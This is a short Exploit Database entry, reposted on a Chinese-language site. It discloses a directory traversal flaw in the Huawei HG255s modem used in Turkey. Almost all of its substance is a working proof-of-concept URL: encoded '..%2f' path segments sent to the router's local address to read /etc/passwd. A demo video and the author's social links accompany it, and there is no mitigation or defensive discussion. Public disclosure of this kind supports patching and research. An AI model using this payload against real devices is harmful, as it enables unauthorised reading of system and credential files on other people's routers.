Huawei HG255s – Directory Traversal

• Exploit Database
• 13 阅读

• 作者： Ahmet Mersin
  日期： 2017-09-07
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/42634/

• # Exploit Title: [Server Directory Traversal at Huawei HG255s]
  
  # Date: [07.09.2017]
  
  # Exploit Author: [Ahmet Mersin]
  
  # Vendor Homepage: [www.huawei.com]
  
  # Software Link: [Not published this modem just used by Turkey]
  
  # Version: [V100R001C163B025SP02]
  
  #POC:
  
  https://www.youtube.com/watch?v=n02toTFkLOU&feature=youtu.be
  
  http://192.168.1.1/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
  
  #You want to follow my activity ?
  
  https://www.linkedin.com/in/ahmet-mersin-177398b0/
  
  @gaissecurity